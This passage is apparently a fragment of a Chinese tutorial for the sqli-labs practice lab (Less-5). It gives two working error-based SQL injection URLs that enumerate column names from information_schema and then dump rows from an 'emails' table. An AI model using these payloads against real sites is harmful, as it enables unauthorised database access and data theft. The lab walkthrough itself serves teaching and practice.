![](https://csdnimg.cn/release/download_crawler_static/88135761/bg9.jpg)
7 爆字段
http://127.0.0.1/sql/Less-5/?id=1' and (select 1 from (select count(*),concat
((select column_name from information_schema.columns where table_schema=database() and
table_name='emails' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by
x)a)%23
8 爆具体数据
http://127.0.0.1/sql/Less-5/?id=1' and (select 1 from (select count(*),concat
((select id from emails limit 0,1),floor(rand(0)*2))x from information_schema.tables group by
x)a)%23